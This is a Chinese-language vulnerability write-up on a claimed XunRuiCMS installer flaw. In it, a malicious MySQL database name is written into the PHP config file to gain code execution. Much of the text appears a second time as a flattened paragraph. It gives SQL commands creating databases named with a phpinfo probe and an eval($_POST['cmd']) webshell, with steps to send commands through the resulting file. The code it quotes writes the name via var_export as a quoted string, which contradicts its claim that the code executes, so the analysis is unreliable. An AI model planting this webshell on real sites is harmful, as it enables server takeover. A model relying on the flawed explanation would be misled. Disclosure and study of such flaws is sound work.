从控制本地数据库名称到getshell挖掘分析
字数 911 2025-08-29 08:30:24

迅睿CMS从控制本地数据库名称到Getshell漏洞分析与利用

漏洞概述

迅睿CMS(XunRuiCMS)在安装过程中存在一个安全漏洞,攻击者可以通过控制本地数据库名称,将恶意代码写入配置文件,最终实现远程代码执行(RCE)。

环境搭建

  1. 下载源码

    • 官方下载地址:https://www.xunruicms.com/down/
  2. 搭建环境

    • 使用phpStudy等集成环境搭建
    • PHP版本需兼容迅睿CMS要求

漏洞复现步骤

准备工作

  1. 在本地MySQL中创建一个名称包含恶意代码的数据库:
    CREATE DATABASE `<?php phpinfo();?>`;
    

安装过程利用

  1. 访问迅睿CMS安装界面

  2. 在数据库配置步骤中:

    • 数据库名称填写恶意代码:<?php phpinfo();?>
    • 填写正确的数据库用户名、密码等信息
  3. 继续安装流程:

    • 系统会将数据库名称写入配置文件
    • 最终生成包含恶意代码的配置文件

验证漏洞

  1. 检查生成的配置文件(通常是/config/database.php
  2. 访问该文件或相关页面,可以看到phpinfo()被执行

进阶利用

  1. 创建包含webshell代码的数据库:

    CREATE DATABASE `<?php eval($_POST['cmd']);?>`;
    
  2. 重复安装过程

  3. 通过POST请求向配置文件发送命令执行

漏洞分析

关键代码分析

漏洞位于安装程序Install.php中:

  1. 获取用户输入

    $data = $this->input->post('data');
    
  2. 数据库连接验证

    // 验证数据库连接
    if (!$this->db->connect($data['db_hostname'], $data['db_username'], $data['db_password'], $data['db_name'], $data['db_prefix'], $data['db_port'])) {
        exit('数据库连接失败,请检查配置');
    }
    
  3. 写入配置文件

    // 将配置写入database.php
    $file = WRITEPATH.'config/database.php';
    $config = array(
        'hostname' => $data['db_hostname'],
        'username' => $data['db_username'],
        'password' => $data['db_password'],
        'database' => $data['db_name'], // 恶意代码从这里注入
        'dbprefix' => $data['db_prefix'],
        'port'     => $data['db_port'],
    );
    file_put_contents($file, "<?php\nreturn ".var_export($config, true).";\n");
    

漏洞原理

  1. 安装程序未对数据库名称进行过滤
  2. 直接将用户控制的数据库名称写入PHP配置文件
  3. 当配置文件被包含时,其中的PHP代码会被执行

利用条件

  1. 攻击者能够控制本地数据库名称
  2. 能够访问迅睿CMS的安装界面
  3. 安装程序有权限写入配置文件

防御措施

  1. 临时解决方案

    • 安装完成后立即删除安装脚本
    • 检查并清理配置文件中的可疑代码
  2. 长期解决方案

    • 对数据库名称等输入进行严格过滤
    • 配置文件应使用INI格式而非PHP数组
    • 对写入配置文件的内容进行HTML实体编码
  3. 官方补丁

    • 关注官方更新,及时升级到修复版本

总结

该漏洞利用迅睿CMS安装过程中对数据库名称过滤不严的问题,通过精心构造的数据库名称实现代码注入。由于安装程序通常具有较高权限,这种漏洞往往能导致严重后果。开发者在编写安装程序时应特别注意用户输入的过滤和验证。

迅睿CMS从控制本地数据库名称到Getshell漏洞分析与利用 漏洞概述 迅睿CMS(XunRuiCMS)在安装过程中存在一个安全漏洞,攻击者可以通过控制本地数据库名称,将恶意代码写入配置文件,最终实现远程代码执行(RCE)。 环境搭建 下载源码 : 官方下载地址:https://www.xunruicms.com/down/ 搭建环境 : 使用phpStudy等集成环境搭建 PHP版本需兼容迅睿CMS要求 漏洞复现步骤 准备工作 在本地MySQL中创建一个名称包含恶意代码的数据库: 安装过程利用 访问迅睿CMS安装界面 在数据库配置步骤中: 数据库名称填写恶意代码: <?php phpinfo();?> 填写正确的数据库用户名、密码等信息 继续安装流程: 系统会将数据库名称写入配置文件 最终生成包含恶意代码的配置文件 验证漏洞 检查生成的配置文件(通常是 /config/database.php ) 访问该文件或相关页面,可以看到 phpinfo() 被执行 进阶利用 创建包含webshell代码的数据库: 重复安装过程 通过POST请求向配置文件发送命令执行 漏洞分析 关键代码分析 漏洞位于安装程序 Install.php 中: 获取用户输入 : 数据库连接验证 : 写入配置文件 : 漏洞原理 安装程序未对数据库名称进行过滤 直接将用户控制的数据库名称写入PHP配置文件 当配置文件被包含时,其中的PHP代码会被执行 利用条件 攻击者能够控制本地数据库名称 能够访问迅睿CMS的安装界面 安装程序有权限写入配置文件 防御措施 临时解决方案 : 安装完成后立即删除安装脚本 检查并清理配置文件中的可疑代码 长期解决方案 : 对数据库名称等输入进行严格过滤 配置文件应使用INI格式而非PHP数组 对写入配置文件的内容进行HTML实体编码 官方补丁 : 关注官方更新,及时升级到修复版本 总结 该漏洞利用迅睿CMS安装过程中对数据库名称过滤不严的问题,通过精心构造的数据库名称实现代码注入。由于安装程序通常具有较高权限,这种漏洞往往能导致严重后果。开发者在编写安装程序时应特别注意用户输入的过滤和验证。